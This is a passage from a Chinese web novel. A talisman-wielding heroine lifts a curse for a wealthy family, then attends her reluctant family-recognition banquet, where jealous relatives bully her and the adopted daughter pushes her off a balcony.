符纸上的字迹早已被水弄得模糊,但隐约能辨认出那是害人的符咒。 “是厌胜术,”鹿翎冷声解释,“有人将下了咒的木牌藏在锦鲤肚子里,再让她进入你家的池塘,借水之气滋养邪气,日积月累,不仅会影响家人的运势,还会引邪祟缠身,上次在礼佛寺,老夫人摔到山坡,有这个的原因。” 傅荣华脸色苍白,想起家里最近的惨状,和上次去礼佛寺,差点死在那里,心中涌出后怕,“到底是谁要害我们傅家!” 鹿翎又拿出一张符咒:“太阴凝光,玄阴灭殃;北斗指途,邪祟消亡;符显神威,夜静安康!” 念罢,符咒化作两道金色流光,一道直扑头发和黄符。 不过一瞬间,头发和黄符化为粉末,消散在空中。 第二道径直没入池塘。 池水翻涌间,那些萦绕的黑气瞬间消融殆尽,连带这池底阴寒之气也散个干净。 傅荣华看着恢复清澈的池水,悬着的心终于落地,连连道谢:“小师傅真是神通广大,多亏了你,不然我们傅家怕是要载跟头了。” 傅宛然站在一旁,看着鹿翎的眼神早已没了之前的轻蔑,只剩满满的震惊,嘴唇翕动着,终究是没有道歉,缩到一边,什么都没说。 傅荣华责怪的视线看了眼傅宛然,转头吩咐李伯,“快,去吧准备的酬劳拿过来,再备些上好的茶叶和点心,给小师傅带上。” 李伯应声而去,没一会儿端着一个精致的木盒过来,递到鹿翎面前:小师傅,这是一百万酬劳,您请收好。 鹿翎打开木盒看了眼,里面是一张银行卡,她随手合上,放进随身的布包里,动作利落,没有半分扭捏。 “老夫人最近最好不要出门,在家里摆上一尊开过光的玉佛,我会给你们家里每人一张平安符,可保一次。”鹿翎忽然开口。 傅荣华连连点头,“好好好,我就去办!小师傅要是方便,不可可否帮我们画几张平安符?价钱好说。” 鹿翎想了想,从布包里面拿出一叠早已画好的平安符,递过去:“不用加钱,这些拿着吧。记住,符纸不可沾水,不可沾染污秽,否则便会失效。” 第23章:认亲宴 “谢谢小师傅!太谢谢了!”傅荣华视线示意李伯去接。 鹿翎看了眼天色,夜色已晚,便起身告辞:“事情处理完了,我该走了。” “这么晚了,小师傅要不留在家里住一晚,明天再走?”傅荣华挽留道,“我让司机明天送你回去。” “不用了。”鹿翎摆摆手,走到院门口,又停下脚步,回头叮嘱,“那锦鲤的尸体找个向阳的地方埋了,撒上糯米,别留着惹麻烦。还有,如果家里有人给你请假或是辞职回家,一定要让TA走。” 说完,她推开门,身影消失在夜色中。 言罢,傅荣华愣了一下,但她很快就反应过来。 小师傅这话,是在提醒她,是家里人出现问题了吗? 她立马招来李伯,让他注意最近家里佣人的动向。 鹿翎走出四合院,准备打车回市区。 但一打开打车软件,发现这里地方偏僻,根本没有一辆车。 鹿翎:“......” 她掏出一张疾行符,贴在自己腿上,掐诀念咒:“天地玄宗,万炁本根;足踏罡风,身驾青云;一步千里,瞬息万里;急急如律令!” 符纸遇气便融化了,化作一缕微凉的灵气缠上脚踝,鹿翎只觉得脚下生风。 夜风卷着草木气息掠过耳畔,两旁的树影成线向后飞退。 不过二十分钟的功夫,北郊区的夜色便被甩到身后,江州城区的霓虹灯已经出现在眼前。 疾行符的效力未散,她脚步轻捷地穿过几条街,待走到别墅区外,才抬头捏了个咒诀。 灵气消散,脚下轻劲也随之褪去 别墅区的保安见是她,想起前些日子裴三少爷的事,眼底闪过几分忌惮,不敢多问,直接抬杆放行。 鹿翎走到裴家别墅,刚走到大门,就看见客厅的灯还亮着,隐约能听到里面传来的说话声音。 她推开门,走进去,在餐桌上吃饭的裴家人瞬间安静下来,所有目光都齐刷刷落在她身上。 裴耀阳刚夹了一筷子菜,见她回来,当即把筷子往晚上一放,冷哼一声,“哼,妖女还知道回来?我还以为你在外头招摇撞骗,被人抓起来了。” 他腿上石膏还没拆,说话时还不忘揉了揉腿,眼底的怨毒都藏不住了。 杨丽华也放下筷子,眉头皱得紧紧的,看向鹿翎的眼神满是嫌弃,仿佛她身上沾了什么脏东西,“这么晚才回来,你到底去哪了?一天到晚不着家,在外头做些什么乱七八糟的事,到时候别给裴家惹麻烦。” 裴淼淼坐在一边,垂着眸,手指轻轻摩挲着碗沿。 看似乖巧,嘴角勾起一抹不易觉察的笑,等着看鹿翎被数落的模样。 裴昊然和裴泽宇则是面无表情,只是冷冷瞥了她一眼,懒得开口,却也透着浓浓的排斥。 鹿翎换了鞋,根本没把这些话放在心上,径直往楼上走,头也不回地丢下两个字:“赚钱。” 轻飘飘的两个字,让裴家人瞬间面面相觑。 裴耀阳先是一愣,随即嗤笑:“赚钱?就你?除了耍那些歪门邪道的把戏,你还会干什么事?怕不是去骗那些没有脑子又封建迷信人的钱吧。” 裴父抬手,打断所有人的话,他放下筷子,拿起餐巾纸擦擦嘴,“明天哪都别去了,明晚是你的认亲宴,会有专门的妆造设计师来给你化妆。” 他打定主意,要借认亲宴,将鹿翎的身份公之于众,但裴淼淼也是他精心培养十九年的好女儿,自然也不会否认她的身份。 而举办认亲宴,也是看中了鹿翎身上的本事,想让她成为裴家的助力。 鹿翎脚步未停,“不需要什么认亲宴。” 她本就不是裴家人。 裴父的眉头瞬间皱紧,眼神沉下来,语气也冷了几分:“这由不得你,江州有头有脸的人都会来,你是裴家的亲生女儿,这身份,必须让江州豪门圈的人都知道。” 这话一出,裴淼淼的眼神也冷了下来,抬眸看向鹿翎的眼神充满了怨恨和恶毒。 他已经打定主意,容不得鹿翎拒绝。 鹿翎这才停下脚步,侧眸看去,眼神冷冽:“随便你。” 回到房间。 鹿翎把兜里的木盒拿出来,她拿走的木牌也被拿了出来。 恰好这时,手机响起,是未明子打来的视频通话。 鹿翎关闭摄像头,接起电话,映入眼帘的就是未明子那张大脸,他在通过手机屏幕,来欣赏他的脸。 见电话突然接通,未明子被吓一跳,他拍拍胸脯,惊魂未定:“哎呦,wc,吓死我了,你今天怎么这么快接电话了?” “手机刚好在旁边,打电话来有什么事?” 未明子依旧是那张大脸,把鹿翎看着,不过鹿翎没开摄像头,看的只是个头像:“你把摄像头打开呗,为师有好久没看见你的脸了。” 鹿翎皱眉,有些不耐烦:“有话快说,有屁快放。” “哎,你个女孩子家家,什么屁不屁的。” 鹿翎翻个白眼,在未明子说完后,正要伸手去挂电话。 不知道是不是心有灵犀,鹿翎刚伸手,未明子就开口拦住:“哎哎哎,先别挂,傅荣华那事都处理好了。” 见事情说上正规,鹿翎收回手,漫不经心开口道:“还行吧,就是有一点不明白。” “还有你鹿大师不明白的事?”未明子调侃道。 鹿翎把摄像头打开,露出一张五官精致绝美的脸,镜头反转,对准那个被捏碎的木牌,“这张木牌里面有厌胜术所需要的东西。” “厌胜术?”未明子有些惊讶,“傅家得罪谁了,竟然会有人使这种术法。” 鹿翎摇摇头。 “其余的没问题吧?” “没有。” “那就行,这术法反噬强,敢用的人要么是疯了,要么是背后的高人撑腰,要么是TA不知道这个术法被反噬后的效果。你多加留意,被人盯上了,我可不会过来救你。” 鹿翎嗯了一声。 未明子没在多问,便挂断电话。 挂断电话后,鹿翎用黄符把木牌碎片包裹好,从行李箱里把那个木盒打开,包好的木牌碎片塞了进去。 而恰好这时,被她收起来,好久都没管的四封婚事,此时竟然有一本在微微亮着光。 鹿翎把其他东西扒拉到一边,四本婚书露出来。 其中一本在微微泛着光,鹿翎拿起那本泛光的婚书,轻轻一翻。 以前打不开的婚书,竟然在此刻,打开了。 看着婚书上,和上次婚书不同的话语,不过订婚人女方还是鹿翎的名字。 男方换成了一个叫程烨的人。 看到这个名字,鹿翎微微皱眉。 第24章:惊艳裴家人 第二天一早,裴家别墅就热闹起来。 化妆师、造型师拎着工具箱鱼贯而入,高定礼服、珠光宝气的首饰摆满了一楼客厅。 全是为今天晚上的认亲宴做准备。 杨丽华站在一旁,看着佣人来回忙活,余光扫到下楼的鹿翎,脸色瞬间沉了下来,语气带着丝毫不好掩饰的嫌弃,“站那干什么?过来化妆,别耽搁时间,丢裴家的脸。” 鹿翎穿着简单的白T牛仔裤,靠在楼梯扶手,眉眼淡漠,压根没动,“我说过,不认亲,也不参加什么宴席宴会。” 话音刚落,裴父从书房走出来,手里捏着手机,“我知道你不情愿,这样,你参加今晚的宴会,我给你一笔钱,数额你定,就当是我花钱请你来参加,怎么样?” 这话一出,杨丽华眼神示意裴父。 谁家让女儿参加自家举办的宴会,还要花钱请的啊。 这简直太不像话了! 裴父冲她摇摇头。 他算准鹿翎爱钱,从上次裴昊然撕毁她的符纸来看,鹿翎就是个爱钱的人。 也算准鹿翎不在意裴家小姐这个虚名。 只有实实在在的好处,才能让鹿翎松口。 鹿翎抬眸,指尖轻点下巴,似乎是在思考,片刻后吐出三个字:“一百万。” 这个数字一出,客厅里瞬间安静下来。 杨丽华当即就炸了:“鹿翎!你疯了吗?一个对你来说没坏处的认亲宴而已,你敢要一百万?你怎么不去抢?” 裴淼淼因为刚刚在化妆,不好开口说话,现在画完了,也抬起头来,眼底满是惊愕,随即又染上几分鄙夷。 鹿翎穷疯了,又想敲诈裴家一笔。 裴昊然几兄弟更是皱眉,觉得这数额太过离谱。 不是觉得这要的太多,而是单纯认为这一百万给鹿翎不配。 他们宁愿在那些高档场所消费,也不想给鹿翎一分钱。 裴家全家人只有裴父神色未变,只是盯着鹿翎看了几秒,确认她不是随口说说,当即拿出手机,点开转账页面,干净利落地给鹿翎账户转过去一百万。 不过十秒,手机提示音便清脆响起。 一百万到账消息出现在屏幕上。 她低头看了眼,确认金额无误,随手把手机揣进兜里,抬脚走下楼梯,淡淡开口:“开始吧。” 全程没有多余的话,拿钱办事,干脆利落。 杨丽华气得胸口剧烈起伏,指着鹿翎的背影,半天说不出话来,“你你你...你简直是钻到钱眼里了!裴家怎么养出你这么个财迷的女儿!” 鹿翎坐在化妆镜前,反驳杨丽华的话,语气凉薄:“第一,你们裴家从未养过我,第二,这一百万是我的出场费,而且我昨天晚上就给你们说了不想来,你们偏要办,这怪得了谁?” 两句话,噎得杨丽华哑口无言,只能恨恨地瞪着她,却只能瞪着她。 裴父看见这一幕,眼底闪过一丝深意,没有多说什么,只是吩咐造型师,“把最好的拿出来,今晚,她是裴家的大小姐。” 这话,像一根针,狠狠扎进裴淼淼的心里。 她捏着裙摆的手骤然收紧,指甲嵌进掌心,眼底的怨毒几乎要溢出来了,却又不得不维持住现在乖巧的模样,低下头,掩下去所有情绪。 在鹿翎还没回来之前,她才是裴家的大小姐,唯一的小姐。 现在她回来,一切都变了。 化妆师刚想端着化妆箱凑上来,却被鹿翎抬手拦住,“不用化妆。” 闻言,化妆师一愣。 裴淼淼穿着量身定做的粉色礼服,画着精致的妆容,见鹿翎素面朝天,心底不由得嗤笑。 杨丽华也皱紧眉头,“你这像什么样子?好歹是你的认亲宴,连妆都不花,简直丢了裴家的脸面。” 鹿翎没理她,目光扫过那排礼佛,最终挑了间最简单的黑色抹胸长裙。 料子是细腻的真丝,勾勒出她高挑纤细的身段,腰肢盈盈一握,裙摆垂落,衬得她肌肤胜雪。 她随手把挽发的小皮筋扯下来,乌发如瀑布般散落,垂到腰间,未施粉黛的脸上,漂亮到不行的眉眼,五官精致明艳,有种冷感,瞳仁在灯光的照耀下泛起点不一样的光泽,但依旧深沉如寒潭。 漂亮立体的锁骨和纤细的脖颈露了出来。 没有多余的首饰在身上。 鹿翎出来的时候,客厅里安静得可怕。 这般容貌,这般气质,哪用得着化妆? 明明没有穿金带银,却硬是压过满室珠光。 素面朝天,便已是绝色。 裴昊然握着水杯的手微微一顿,眼底闪过错愕。 裴泽宇也看呆了,张张嘴,半天说不出话来。 杨丽华更是愣住,看着鹿翎那张毫无瑕疵的脸,心里竟然没由来升起一丝莫名的酸涩。 裴父眼中闪过一丝满意,更多的是惊艳。 这等容貌,再加上一身本事,定能让裴家再江州更上一层楼。 唯有裴淼淼,脸色瞬间变得惨白,眼底的怨毒和嫉妒几乎要溢出来了。 她攥紧拳头,指甲深深掐进掌心,疼得指尖发麻,但丝毫感受不到。 她精心打扮,选了最好看的礼服,想着今晚艳压全场,可鹿翎不过穿了身普通的黑裙,连最简单的妆容都没画,就轻易夺走所有人的目光。 那股清冷惊艳的气质,让她瞬间变得黯然无光。 凭什么? 鹿翎不过是个从山沟沟里出来的野丫头,凭什么生得这般好看? 凭什么不费吹灰之力,就盖过她十九年的精心养护? 裴淼淼咬着唇,垂下的眼眸里翻涌着阴翳,手指开始无意识摩挲裙摆,心里的嫉妒像是藤曼般疯狂生长。 鹿翎扫视全场,目光最后落在裴淼淼身上,微微眯了眯眼,没多说什么,抬脚率先走出别墅。 —— 晚上认亲宴设在江州最顶级的酒店,衣香鬓影,觥筹交错,江州有头有脸的人物大部分都到场了。 众人本就是冲着裴家面子来的,还有几个大家族是裴家死皮赖脸求来的,想看看这位刚找回来的裴家大小姐到底是什么样的。 可当鹿翎跟着裴家人走进宴会厅时,全场瞬间安静下来。 所有目光齐刷刷落在鹿翎身上。 悄然无声的宴会厅显着他们的错愕。 第25章:对鹿翎的恶意 惊艳、哑然、好奇,各色目光交织,却无一人敢轻易上前。 她站在那里,一袭黑裙,未施粉黛,眉眼清冷凌厉,肌肤胜雪,明明身出在珠光宝气的人群中,像高山上踏雪而行的白狐。 清冷,孤傲,又带着摄人的美。 艳压群芳,竟让满场精心打扮的名媛千金,全成了她的陪衬。 裴淼淼跟在鹿翎身后,穿着华丽的粉色长裙,画着精致的妆容。 可在鹿翎的光芒下,竟显得格外刻意又俗气。 她走到哪里,都能感受到旁人似有若无的对比目光,心里的怨毒和嫉妒,几乎要将她吞噬。 裴父端着长辈的姿态,脸上挂着得体的笑容,引着鹿翎穿梭在宾客之间,每走到一处,便抬手介绍:“这个是江家老爷子,江州老牌世家的掌托人,阿翎,快问好。” “这位是秦氏集团的秦总,我们裴家多年的合作伙伴。” “白家大小姐,比你大两岁,你应该喊姐姐。” 鹿翎垂着眸,神色淡淡,既不刻意讨好,也不显得倨傲,只是在裴父介绍后,微微点头颔首,吐出几个人的尊称,声音清冷,不高不低,恰好能让人听见。 这般疏离的态度,落在旁人眼中,倒不觉得失礼,反倒是衬得她气质清冷,与那些可以迎合的名媛千金截然不同。 裴父心里虽然对她这副不上心的模样略显不满,却也没有表现出来,只是想着把场面做出来,让江州豪门圈认下鹿翎这个裴家大小姐的身份。 可鹿翎实在是懒得应对这个虚与逶迤的场面,鼻尖萦绕着浓郁的香水味和酒精味,让人作呕,心情也觉得聒噪和烦闷。 她抹了把脸,有些不耐烦。 走到宴会厅西侧的休息区附近,有位总裁正朝这边走来,裴父也很明显地看见了他,正准备拉她去见其他人。 鹿翎眸光微转,瞥见不远处的洗手间,当即抬手轻轻扯了扯裴父的衣袖,声音压得极低,带着一丝不易觉察的烦躁和不耐烦,连爸爸都没喊,直接说道:“我先去一趟洗手间。” 不等裴父应声,她立马抬腿离开,像是后面有鬼一样在追。 甚至走到后面几步,她直接三步并两步一样,小跑起来。 裴父看着鹿翎离开的背影,眉头微不可察地皱起眉头,却也只能无奈地对着迎面走来的总裁笑道:“小孩子家家,不懂事,非要闹着去后面喷泉看水。” 如果这话被鹿翎听见,她定会翻个白眼,在心里默默吐槽一句。 装货。 确实。 鹿翎确实是怎么想的。 鹿翎还没走远,就听到裴父装作慈父的恶心话语,她在心里翻个白眼,走进卫生间,捧了一把冷水,扑在自己脸上。 用纸巾擦干水渍,水珠还顺着发丝往下滴,灯光下是绝色的眉眼,瑰姿艳逸,丝毫没人融入这场华丽宴席的意思。 她本就不是来赴什么认亲宴的,不过是拿了一百万出场费,走个过场罢了。 而另一边,鹿翎离开的空隙,楼上娱乐场所已经聚起一众年轻男女,正是裴淼淼的朋友。 裴淼淼端着一杯果汁,站在人群中央,脸上挂着委屈又柔弱的笑,听着身边的名媛千金你一言我一语地替她打抱不平,声音不大不小,正好让周围人听得一清二楚。 “淼淼,你也太可怜了吧,好好的裴家大小姐,现在又冒出一个姐姐,大小姐变成了二小姐。” “就是就是,听说她是从山沟沟里面的道观出来的,一身穷酸气,看着就令人恶心,还和淼淼是双胞胎,长得一点都不像。”说着还做起扇风打呕的东西。 这样子,顿时引起他们那一群人的哈哈大笑。 说这话的是江家小女儿江雨柔,和裴淼淼从小一起长大,算是裴淼淼的闺蜜。 平时最看不得裴淼淼受委屈。 此刻提起鹿翎,语气里满是嫌恶和鄙夷。 裴淼淼轻轻摇了摇头,故作大度:“你们别这样说,姐姐她也是裴家的女儿,本就该回来享受裴家大小姐的身份和地位,只是她刚从乡下回来,可能不太适应这种场合罢了。” 她越是这样说,身边的人越发替她不值,骂鹿翎的话就越发难听。 而裴耀阳杵着拐杖,被一群和他一般大的十三四岁少年围在中间。 裴淼淼会把恶毒情绪隐藏在心里,非必要时刻,她是不会表现出来。 但裴耀阳不一样,他还小,只有十三四岁,内心想法会表现在脸上和眼神中,一点都不加以掩饰。 说起鹿翎,脸上满是恶毒,后槽牙都要咬碎了:“那个女人就是个妖女,一身歪门邪道,把我腿弄成这个样子,还敢在裴家作威作福,真当自己是根葱了?” 他那群朋友背后的家族,大多数是个裴家一个等级,组成一个小群体。 一小部分是末流家族,是被他们的父母要求和裴耀阳一起玩的。 大家都是朋友,你有困难我出手,我有困难你也出手。 再加上早就听裴耀阳添油加醋地说了鹿翎的恶行,此刻更是义愤填膺,摩拳擦掌地想要找鹿翎的麻烦,替裴耀阳出气。 “耀阳,你放心,今天我们就替你好好教训教训她,让她知道,裴家谁是老大!” “就是,一个从山沟沟里出来的,也敢骑在你头上作威作福,真当我们江州豪门子弟都是软柿子?” “我想起一个主意...”其中,被挤到边缘的人突然说了句,引起了里面人的注意。 人群自动散开,给出主意的人让出一条道来。 裴耀阳抬起黑沉沉的眸,眼底的怨毒敛去,替换成慢慢的好奇,他勾勾手指,示意男生上前说去。 男生身体明显的哆嗦一下,犹犹豫豫不敢上前。 见状,裴耀阳眼底的好奇逐渐变成不耐烦,他烦躁地啧了声。 “啧。” 这一声刚出,就有人催促他上前赶紧献出主意。 这边的声响顿时引起裴淼淼那边的注意。 谁都没说话,静静看着这场戏。 被催促得久了,有人看不下去,直接一个飞踹,把他踢倒在地上,趴在裴耀阳的面前。 裴耀阳挑挑眉:“说吧,什么主意,要是把我逗开心了,我就在我爸面前多美言几句,让他看看你们家快要破产的小公司。” 言罢,在场人都哄堂大笑起来。 裴淼淼也不自觉地勾起嘴角。 在男生说完后,所有人面面相觑,都没人说话。 第26章:鹿翎被推了下去 这边,鹿翎从厕所出来后,就没打算去宴会厅。 那里面除了香水味和酒精味,还参杂着让人恶心的虚伪气息,整个宴会厅全是这种气息。 趋附、荫翳、浮散,还有虚浮,让鹿翎感到恶心,她实在是懒得应对。 沿着走廊走到尽头,就是酒店的露天露台,晚风卷着夜色吹来,总算是吹散了一身的憋闷。 鹿翎靠在栏杆上,指尖无意识摩挲手背。 楼下的喷泉在夜色中溅起细碎的水花,霓虹灯的灯光落在水面上,碎成一片流光,好看极了。 她抬眼望向远处的江景,眉眼间的冷意淡了几分,掏出手机,拍张照片刚想发出去,头顶传来一道声音。 “喂。” 鹿翎没抬头,脚步却下意识往旁边动了动。 “哗啦啦—” 一大盆水倾泻而下,浇在鹿翎刚好站着的位置上。 鹿翎其他地方没打湿,只有裙摆处被水滴溅湿了,她抬眸,冷眼看过去。 是一个大概和裴耀阳一般大的小男生,也就是开始给裴耀阳出主意的男生。 还有一群看好戏的人,有男有女,有大有小。 但大多数是个裴耀阳年纪相仿的少年少女。 做这种事他本来是有些心虚和害怕,在对上鹿翎那双平静无波的眼睛时,心虚达到高潮,手一抖,手上的盆子掉落,发出清脆的响声。 见这盆水没有淋到鹿翎身上,裴耀阳眼中的怨恨都要溢出来了,他先是狠狠地瞪了眼办事不利的男生,回头,视线死死盯住鹿翎,然后头也不回地离开。 鹿翎本来转身就想走,但她抬脚往前一步,走廊上便涌出一大群人。 为首的正是杵着拐杖的裴耀阳,身边跟着几个和他一般大的少男少女,还有裴淼淼和江雨柔几个名媛,一个个看向鹿翎的眼神,像是淬了毒的刀子,带着不加掩饰的恶意。 鹿翎瞥了眼地上滚动的空盆,又扫过来围上来的一群人,眼底冷光乍现。 “胆子不小。”她声音平淡,却带着无形的压力,让最前面的几个少年下意识后退半步,“裴耀阳,断腿的苦你还没吃够吗?” 言罢,裴耀阳脸色一阵青一阵白,指着鹿翎的鼻子骂道,“贱人!果然是你!是你用妖术害得我腿断了!” 说着,就要杵拐杖上来,用拐杖打鹿翎,像是想用拐杖把鹿翎戳死一般。 但还是被他身后的少年拦了下来。 鹿翎无所谓地耸耸肩:“我可没怎么说,只是在提醒你,不要忘记断腿的痛。” “你!!!” 裴淼淼自然不会放弃在鹿翎面前展示绿茶的机会,她可怜兮兮开口:“姐姐,你害得耀阳断腿,怎么也得道个歉吧。” 鹿翎连眼神都没分给她。 这般嚣张的态度引起公愤。 江雨柔作为裴淼淼的闺蜜,自然不会让自己好闺蜜受委屈,她挽着裴淼淼的胳膊,嗤笑一声:“果然是乡野丫头,胆子这么大,也配在淼淼这种正规小姐面前摆架子。” 裴淼淼垂眸,没说话,嘴角噙着一丝隐晦的笑意,默认了江雨柔的挑衅。 先前泼水的男生被裴耀阳瞪了一眼,壮着胆子上前:“谁让你欺负耀阳哥!这盆水是给你教训,识相的赶紧道歉,不然有你好受的!” 鹿翎挑眉,没理会他的叫嚣,目光落在裴耀阳的身上,“你的主意?” 裴耀阳杵着拐杖,下巴微扬,眼底满是得意,“你管是谁的主意,你敢用邪术害我,我就敢让你在所有人面前丢脸!” 他话音刚落,人群就有人起哄:“让她跪下道歉!” “再来一桶水!把她淋成落汤鸡!” “这算什么,把她带到楼下的喷泉边上,淹死她!” “让她跪在水里道歉。” 扑面而来的恶意直冲鹿翎面门,她皱皱眉,不由自主地后退。 这些人,怎么这么恶心。 而就是这细微的东西让他们误以为鹿翎害怕了,一群人摩拳擦掌,就要上前动手。 鹿翎眸光一冷,指尖微动,虚空画出两张符咒,指尖凝气,符咒瞬间化作两道金光,直扑最前面两个叫嚣得最凶的少年。 两人还没反应过来,就被金光缠住脚踝。 “扑通”一声,摔在地上,疼得龇牙咧嘴,怎么也爬不起来。 “什么东西?”有人惊呼。 鹿翎的眼神冷冽如冰:“江州豪门的教养,就是纵容小辈仗势欺人?” 裴淼淼脸色一白,强装镇定,“姐姐,你别生气,他们只是年纪小不懂事...” “不懂事?”鹿翎嗤笑,“不懂事就该好好教,既然你们没人教,那我替你们爸妈好好教教该怎么做人。” 她说着,指尖再次掐诀,又是三张虚空符纸飞出,分别落在江雨柔和另外两个少年身上。 江雨柔只觉得浑身一麻,刚想开口骂人,就发现自己说不出话来,只能张着嘴,咿咿呀呀,像个哑巴一样,脸上满是惊恐。 另外两个少年则是被钉在原地,动弹不得,只能眼睁睁看着鹿翎一步步走进。 裴耀阳见状,又惊又恐:“妖女!你又在用邪门歪道害人!” 他想上前,却被鹿翎一个眼神制止。 那眼神中的寒意和杀气让他浑身发冷,脚像灌了铅一样挪不动, 鹿翎走到裴淼淼面前,居高临下地看着她:“你以为躲在后面就没事了?” 裴淼淼浑身一颤,眼底闪过慌乱:“我...我没有...” “没有?”鹿翎指尖轻弹,一道微不可察的金光悬空在裴淼淼身上,“真言符的滋味,你忘了?” 裴淼淼的脸色瞬间惨白,想起上次被符咒控制说出真心话的场景,再也维持不住镇定,踉跄着后退,“你...你别过来...” 鹿翎没在往前,只是附在她耳畔,用只有她们两个人的声音,小声开口,语气冰冷得刺入骨髓:“你说,我要是告诉她们,我们不是双胞胎,你才是裴家假千金,而我才是裴家名副其实的大小姐。” “你猜...她们会怎么看你?” 裴淼淼浑身如遭雷击,脸色瞬间惨白如纸,嘴唇哆嗦得说不出话来。 鹿翎的话像是一把淬毒的匕首,精准无误地扎进她内心最恐惧的地方。 不过,她一瞬反应过来。 恐惧被怨恨替代,她眼中闪过几分怨毒。 在所有人都听不到的声音,对鹿翎小声开口,语气里满是阴狠:“那你去死就不好了...” 说完,在她们都看不见的角度,以及监控都无法拍下的死角,她伸出手,狠狠地把鹿翎推了下去。 第27章:颠倒黑白 鹿翎早就觉察出裴淼淼眼底翻涌的怨毒,在那只手推来的瞬间,非但没躲,直接朝露台外倒去。 四楼的风骤然灌进衣领,失重感瞬间袭来,鹿翎坠楼的身影在夜色中划过一道极快的弧线。 裴淼淼最后一眼看鹿翎的时候,是鹿翎那双平静无波却带着笑意的眼睛。 “砰”的一声巨响,鹿翎落在楼下喷泉软质的软质草坪上,没了动静。 露台上,裴淼淼还维持着推人的姿势,手指僵硬地伸着,瞳孔骤然收缩一下,脸上血色尽褪。 推下去了。 她真的把鹿翎推下去了。 这个念头像是一道惊雷,炸得她脑子一片空白,连呼吸都忘了。 她从没想过杀人,只是被刚才那股怨毒冲昏了头,她只是想让鹿翎吸取一点教训,让她彻底丢脸,让她不要觊觎裴家大小姐的位置而已,可... 可偏偏... 偏偏怎么就推下去了。 四楼,这么高的地方,摔下去...会不会死人? 裴淼淼的牙齿开始打战,浑身不受控制地发抖,刚才的怨毒和狠戾消失得一干二净,只剩下深入骨髓的恐惧。 她下意识后退,脚后跟踩到水面,惊得她尖叫一声,瘫坐在地上,双手撑着冰冷的地面,掌心被磨得生疼,却丝毫感受不到。 周围的少年少女也愣在原地,懵了。 刚才还剑拔弩张的对峙,不过眨眼间,鹿翎就从四楼坠落下去。 他们看着裴淼淼瘫坐在地上的墨阳,看着她煞白的脸和惊恐的眼神,没人敢说话,露台瞬间死一般寂静,只剩下楼下隐约传来的惊呼。 最先反应过来的是江雨柔,她的静音符不知道什么时候失效,声音带着颤抖,“淼淼...你...你刚刚干了什么?” 裴淼淼猛然抬起头,眼神涣散,拼命摇头,语无伦次:“我没有...我不是...是她自己掉下去的...对,是她自己没站稳,跟我没关系...跟我没关系...” 她像是抓住救命稻草般,一遍遍重复,可颤抖的声音和慌乱的眼神,却让人心生怀疑。 只是没人敢深究。 一旦深究,他们在场的所有人都得玩完。 裴耀阳杵着拐杖,看着楼下草坪一动不动的身影,眼底的怨毒被惊恐取代,他腿上的伤还没好,此刻吓得腿肚子发软,差点摔在地上。 他只是想教训鹿翎,没想过闹出人命,更何况这人还是他的亲姐姐。 要是鹿翎死了,裴家...还有他,都完了。 “快...快下去看看!”不知道是谁喊出声。 这些养尊处优的豪门子弟才如梦初醒,慌慌张张地往楼下走,推推搡搡间,乱作一团。 裴淼淼被江雨柔扶起来,脚步虚浮地跟着人群走,脑子里只有一个念头: 不能让别人知道是她推的,绝对不能! 她抬手抹了把脸,指尖冰凉,全是冷汗,努力压下心中的恐惧,强迫自己冷静下来。 刚才推人的时候,角度刁钻,监控拍不到,也没人看见,只要她咬死是鹿翎自己没站稳,就没人怀疑到她头上来。 对,没人看见。 露台的骚动和重物落地的闷响引起里面人的注意,宾客们纷纷停下手中的酒杯和交谈,好奇地往露台张望。 “怎么回事?发生什么事了?” “好像有人掉下去了吧。” “听着动静不小,快去看看。” 议论声中,裴父脸色一沉,率先起身朝露台走去,杨丽华、裴昊然和裴泽宇也紧随其后。 其他宾客见状,也纷纷跟上去,想一探究竟。 正好迎面撞上正要下楼寻找鹿翎身影的裴淼淼、裴耀阳一行人。 见裴父等人过来,她像是找到了主心骨,眼泪瞬间涌了出来,声音哽咽得不成样子:“爸妈...哥哥...姐姐...姐姐她没站稳,从露台上掉下去了。” 她一边说,一边指向露台栏杆外,身体还控制不住发抖,仿佛还没从刚才的惊吓中缓过神来。 “我们见姐姐一个人在外面孤单,想去找她说说话,没想到姐姐不想和我们说话就算了,还和我们起了冲突,她不想和我们说话,没想到踩到我们不小心打倒的水盆里面的水,没站稳,掉了下去。” 这番话简单清晰地说明他们刚刚发生的所有事。 他们确实看鹿翎一个人很孤单,想找她说话,确实有一盆被他们不小心打翻的水,也确实不想和他们说话。 她说的句句是实话,条理清晰,但完全颠覆了事实。 把他们自己塑造成想找鹿翎玩,而不识好歹的鹿翎却和他们吵架了,吵不赢就算了,自己不小心踩上水掉下去的受害者模样。 再加上配上她惊魂未定的表情,瞬间博取了不少人的同情。 他们现在皱起的眉头,和议论纷纷的样子足以说明,裴淼淼说的这番话,他们相信了。 江雨柔和几个年长点的少年少女也连忙附和,七嘴八舌证实裴淼淼的说法,只是语气里都带着难以掩饰的慌乱。 杨丽华本就对鹿翎没什么好感,闻言只是皱了皱眉,眼底没有丝毫担忧,反而多了几分厌烦,语气生硬,“掉下去了?在哪?这么高的地方,摔下去还得了?” 裴父脸色凝重,没理会杨丽华的语气,快步上前,走到栏杆边,向下张望。 楼下是酒店的花园草坪,路灯的光线照亮了大片区域,可草坪上干干净净,别说人影了,连一点挣扎痕迹都没有,只有被风吹动的草木轻轻晃动。 —— 与此同时。 鹿翎早已从宴会上偷偷溜走。 就在刚刚,鹿翎借着裴淼淼推她的力气,借着这股力道,指尖快如闪电般掐了诀,一张清风符在掌心悄然划开,灵气裹着她的身体,顺着露台栏杆向下坠落。 四楼的风卷着她的衣摆,在下坠的间隙,她又掐了一张隐身符。 隐身符的效力让她彻底隐去身形,落地是不过轻点脚尖,便卸去下坠的力道,便稳稳停在酒店后院的绿植中。 她拍了拍身上的泥土灰尘,抬眸,冷睨着露台方向。 正要准备回去时,身后却有人喊住了她。 “鹿翎?” 第28章:鹿翎竟然是裴家的大小姐? 鹿翎转头看去,皱了皱眉。 顾景深他妈。 她怎么在这? 鹿翎本来不想理她,但偏偏人家就喜欢热脸贴冷屁股。 她上前一步,拦住鹿翎离开的步伐,表情疑惑:“你该不会是从哪得到裴家亲女儿回归的消息,特意来傍大款的吧?” 她不知道想起什么,表情立马变得不屑,眼神睥睨,居高临下地看着鹿翎:“你该不会是专门来蹲我的吧?想告诉我你反悔退婚的事了?想用婚事要挟了?我可告诉你,我顾家儿媳只能是名媛千金,你这种人...” 说到最后一句,她甚至还啧啧几声,一点都看不起鹿翎。 